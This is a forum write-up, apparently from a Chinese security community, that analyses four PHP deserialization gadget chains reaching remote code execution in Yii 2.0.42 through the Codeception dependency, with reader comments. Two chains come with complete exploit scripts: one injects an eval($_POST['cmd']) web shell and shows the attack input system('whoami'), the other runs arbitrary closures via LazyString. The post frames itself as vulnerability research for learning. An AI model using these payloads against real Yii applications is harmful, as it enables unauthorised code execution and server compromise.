yii 2.0.42 最新反序列化利用全集
j1ang 漏洞分析 11361浏览 · 2021-08-06 09:40

yii 2.0.42 最新反序列化利用全集

漏洞挖掘

第一条链子

全局搜索 __destruct

其他利用都存在 __wakeup 方法,直接抛出异常导致无法利用。

会遍历 $this->processes

那么这里的 $process 就可控

全局搜索 __call方法

此处的 $this->generator 可控,那么我们就可以调用任意类的方法,但此处的 $name 是不可控的,所以此处仅仅可以再次触发 __call,但是!

注意do-while 语句 的判断条件,

有一次调用 call_user_func 函数,且第一个参数可控, 只要解决 $res 就OK了。结合上面,找其他的__call 方法

这里返回内容完全可控,也就意味着我们的 $res 也已经拿捏了。

可以RCE 了。还有注意的点是 $this->maxRetries 的值设小一点,执行个几次就行了。我看有人设了9999999,哈哈哈哈,当时我电脑疯狂弹计算器。

第二条链子

我将目标转向他,也就是我打断点的地方。

寻找可利用的 reveal方法

类中本身存在一个,

继续找 getInstance;

找到一个同前面属性名相同的类,

全都可控,看着非常舒服,继续找double

传入此处的 $class$interfaces参数 必须是一个 ReflectionClass 类的对象 和对象数组,后面构造的时候要注意。

看似下面有利用反射来实例化类,但并不能利用的。

我只能继续看向 createDoubleClass方法

看似 $name$node 不太可控,但是注意 第一条链子那个 返回值 可控的 __call 方法,继续将的 namer,mirror,patches 实例化为对象,就可以控制 $name$node 的值,以及绕过foreach,寻找可利用的 create 方法

正正好好?!

继续用那个 __call 然后 $code 也可控。

注意一下 这里 $class , 需要 Node\ClassNode 类的对象,也就是当前命名空间\Node\ClassNode

exp

<?php
namespace Codeception\Extension{
    use Prophecy\Prophecy\ObjectProphecy;
    class  RunProcess{

        private $processes = [];
        public function __construct(){
            $a = new ObjectProphecy('1');
            $this->processes[]=new ObjectProphecy($a);
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
    use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{

    private $lazyDouble;
    private $revealer;
    public function __construct($a){
        $this->revealer=$a;//一个调用自己的对象
        $this->lazyDouble=new lazyDouble();
    }
}   
}
namespace Prophecy\Doubler{
    use Prophecy\Doubler\Doubler;
    class LazyDouble
{
    private $doubler;
    private $class;
    private $interfaces;
    private $arguments;
    private $double=null;
    public function __construct(){
        $this->doubler = new Doubler();
        $this->arguments=array('jiang'=>'jiang');
        $this->class=new \ReflectionClass('Exception');
        $this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default)
    {
        $this->default = $default;
    }
}
}

namespace Prophecy\Doubler\Generator\Node{
    class ClassNode{}
}
namespace Prophecy\Doubler{
    use Faker\DefaultGenerator;
    use Prophecy\Doubler\Generator\ClassCreator;
    use Prophecy\Doubler\Generator\Node\ClassNode;
    class Doubler{
        private $namer;
        private $mirror;
        private $patches;
        private $creator;
        public function __construct(){
            $name='jiang';
            $node=new ClassNode();
            $this->namer=new DefaultGenerator($name);
            $this->mirror=new DefaultGenerator($node);
            $this->patches=array(new DefaultGenerator(false));
            $this->creator=new ClassCreator();
        }
    }
}
namespace Prophecy\Doubler\Generator{
    use Faker\DefaultGenerator;
class ClassCreator{
    private $generator;
    public function __construct(){
        $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
    }
}
}

注意一下攻击的时候 cmd=system('whoami');phpinfo();

不加phpinfo()的话,前面的输出会被报错掩盖掉。

第三条链子

继续找__call

这里$res可以控制,那么我们就可以 通过序列化一个对象触发 __sleep 方法

注意这里 ($this-value)(),已经再明显不过了。

exp

<?php
namespace Codeception\Extension{
    use Faker\UniqueGenerator;
    class  RunProcess{

        private $processes = [];
        public function __construct(){

            $this->processes[]=new UniqueGenerator();
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
    use Symfony\Component\String\LazyString;
    class UniqueGenerator
{
        protected $generator;
        protected $maxRetries;
        public function __construct()
    {
        $a = new LazyString();
        $this->generator = new DefaultGenerator($a);
        $this->maxRetries = 2;
    }
}
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }
}
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->value=$b;
        }
    }
}

第四条链子

入口依然不变,

stopProcess 方法中存在

利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString

在这里找到了可利用点,跟进 rewind

下面断点的地方又可以走向其他类中的 rewind 方法,

在这里可以看到很相似的调用。

跟进 read 方法

又要跳向其他类的 read 方法。


在这里找到了利用的地方,中间参数和变量的控制根据exp自行分析。

写在后面

其实此漏洞并不是yii的问题,此处仅做分享和学习,标题略有不恰,请见谅。因为yii的项目使用了codeception/codeception依赖,存在可利用的__destruct魔术方法,归根结底,是依赖的问题。

11 条评论
某人
表情
可输入 255
j1ang
2021-09-16 12:39 0 回复
j1ang
2021-09-02 14:29 0 回复

@kubo 师傅先别着急,容我写一篇分析的文章。


kubo
2021-09-01 14:33 0 回复

@jiang 师傅,第三条链子include那点没看懂,我调试好像引入了SerializableClosure类,不知道怎么引入的,还有反序列化为什么不用\Opis\Closure\unserialize方法,看了好久还是看懂。


j1ang
2021-08-24 08:23 0 回复

@1804309****@163. __toString() 方法用于一个类被当成字符串时应怎样回应,. 是字符串连接符,当然可以调用。就是利用$process->getCommandLine() 的返回值触发toString()


1804309****@163.
2021-08-24 06:35 0 回复

@jiang 师傅我有一点不明白,第四条链子,$process->getCommandLine()这个不是有一个返回值吗,为啥还能调用tostring方法?我的理解是tostring方法是类被当成字符串的时候才调用,如echo $process。


Jesen
2021-08-23 02:31 0 回复

@j1ang 比赛结束了,加回来吧


杨众山
2021-08-23 02:18 1 回复

@j1ang 比赛结束了,加回来吧

j1ang
2021-08-22 16:03 1 回复

@WHOAMIBunny 听说影响到比赛了哈哈


Marcus_Holloway
2021-08-21 15:35 0 回复

删了干啥呢,哈哈哈哈!


j1ang
2021-08-17 16:42 0 回复

@qiu****_sir 好的


qiu****_sir
2021-08-16 01:49 0 回复

其实都知道但是没人发,给yii留个吧兄嘚